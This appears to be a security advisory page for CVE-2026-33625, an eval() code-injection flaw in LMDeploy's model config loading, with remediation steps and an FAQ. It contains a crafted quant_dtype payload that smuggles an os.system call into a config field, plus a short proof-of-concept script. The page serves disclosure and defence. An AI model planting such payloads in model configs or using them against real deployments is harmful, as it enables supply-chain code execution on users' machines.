CVE-2026-33625: LMDeploy vulnerable to arbitrary code execution via eval() of untrusted quant_dtype in model config loading

Published Sep 18, 2026
·
Updated

Summary

lmdeploy <= latest contains a code injection vulnerability in lmdeploy/pytorch/config.py line 620 that allows an attacker to execute arbitrary Python code by publishing a malicious HuggingFace model with a crafted quantizationconfig.quantdtype value. When a user loads the model with lmdeploy, the quantdtype is passed to eval(f'torch.{quantdtype}') without any validation.

Details

Vulnerable code (permalink):

python quantdtype = eval(f'torch.{quantdtype}') # line 620

The quantdtype value comes from the model's quantizationconfig in its HuggingFace config. When a model specifies quantmethod: awq, the AWQ branch processes the config but does NOT override quantdtype, allowing the malicious value to reach the eval() call.

Attack vector: An attacker publishes a HuggingFace model with: json { "quantizationconfig": { "quantmethod": "awq", "quantdtype": "float16, import('os').system('id')" } }

Note: The updatetorchdtype method at line 53 has a whitelist check, but that's for torchdtype, NOT quantdtype. The quantdtype at line 620 has no validation whatsoever.

PoC

python """ PoC: eval() RCE in lmdeploy via malicious quantdtype Prerequisites: pip install lmdeploy """ import sys from unittest.mock import MagicMock, patch

Mock torch to capture the eval sys.modules.setdefault('torch', MagicMock())

from lmdeploy.pytorch.config import ModelConfig

Simulate a malicious HuggingFace model config mockhfconfig = MagicMock() mockhfconfig.quantizationconfig = { 'quantmethod': 'awq', 'quantdtype': "float16, import('os').system('id')" } mockhfconfig.numattentionheads = 32 mockhfconfig.hiddensize = 4096 mockhfconfig.numhiddenlayers = 32 mockhfconfig.numkeyvalueheads = 32 mockhfconfig.vocabsize = 32000

This triggers eval(f'torch.{quantdtype}') with quantdtype = "float16, import('os').system('id')" config = ModelConfig.fromhfconfig(mockhfconfig, modelpath='test')

Output: uid=0(root) gid=0(root) groups=0(root)

Impact

An attacker who publishes a malicious model on HuggingFace Hub can achieve arbitrary code execution on any machine that loads the model with lmdeploy. This is a supply-chain attack vector affecting all lmdeploy users who load untrusted models.

1. Full remote code execution when loading a malicious model 2. No user interaction beyond running lmdeploy serve or similar with the model 3. Affects all deployment scenarios (local, cloud, production)

Other sources

LMDeploy is a toolkit for compressing, deploying, and serving large language models. Versions 012.1 through 0.12.2 contain a code injection vulnerability in lmdeploy/pytorch/config.py line 620 that allows an attacker to execute arbitrary Python code by publishing a malicious HuggingFace model with a crafted quantizationconfig.quantdtype value. When a user loads the model with lmdeploy, the quantdtype is passed to eval(f'torch.{quantdtype}') without any validation. Version 0.12.3 contains a patch.

MITRE

Affected Software

1 affected componentFixes available
pip/lmdeploy>=0.12.1<0.12.3
0.12.3

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/lmdeploy to a version that resolves this vulnerability.

    Fixed in 0.12.3
  2. Upgrade

    Upgrade lmdeploy to a version that resolves this vulnerability.

    Fixed in 0.12.3
  3. Configuration

    Eliminate the code injection sink where `quantization_config.quant_dtype` is passed into `eval(f'torch.{quant_dtype}')` (line 620) with no validation; replace with a safe allowlist/lookup for supported dtype strings so malicious values in model configs cannot execute arbitrary Python code.

    lmdeploy/pytorch/config.py (ModelConfig) eval(f'torch.{quant_dtype}') = Remove/disable eval() usage for quant_dtype when loading model configs from HuggingFace

Event History

Sep 18, 2026
Advisory Published
via GitHub·05:04 PM
Data Sourced
via GitHub·05:04 PM
DescriptionSeverityWeaknessAffected Software
CVE Published
via MITRE·05:13 PM
Data Sourced
via MITRE·05:13 PM
DescriptionSeverityWeakness

Frequently Asked Questions

1

Which deployments are realistically exposed?

Deployments that load HuggingFace models with LMDeploy are exposed when the model configuration contains quantization_config.quant_method set to awq. The attacker can publish a malicious model configuration, and code executes when a user loads that model.

2

What does an attacker need to exploit this issue?

The attacker does not need privileges on the target system, but must cause a user to load a crafted HuggingFace model with LMDeploy. The crafted quant_dtype value is evaluated as part of a torch-prefixed Python expression.

3

How can I identify a suspicious model before loading it?

Inspect the model's HuggingFace configuration for quantization_config entries. Treat an AWQ configuration whose quant_dtype is not an expected simple dtype value, especially one containing Python syntax such as commas, function calls, or __import__, as malicious.

4

Does validation of torch_dtype prevent this exploit?

No. The documented whitelist check applies to torch_dtype, while the vulnerable value is quant_dtype, which reaches eval() without validation in the AWQ processing path.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203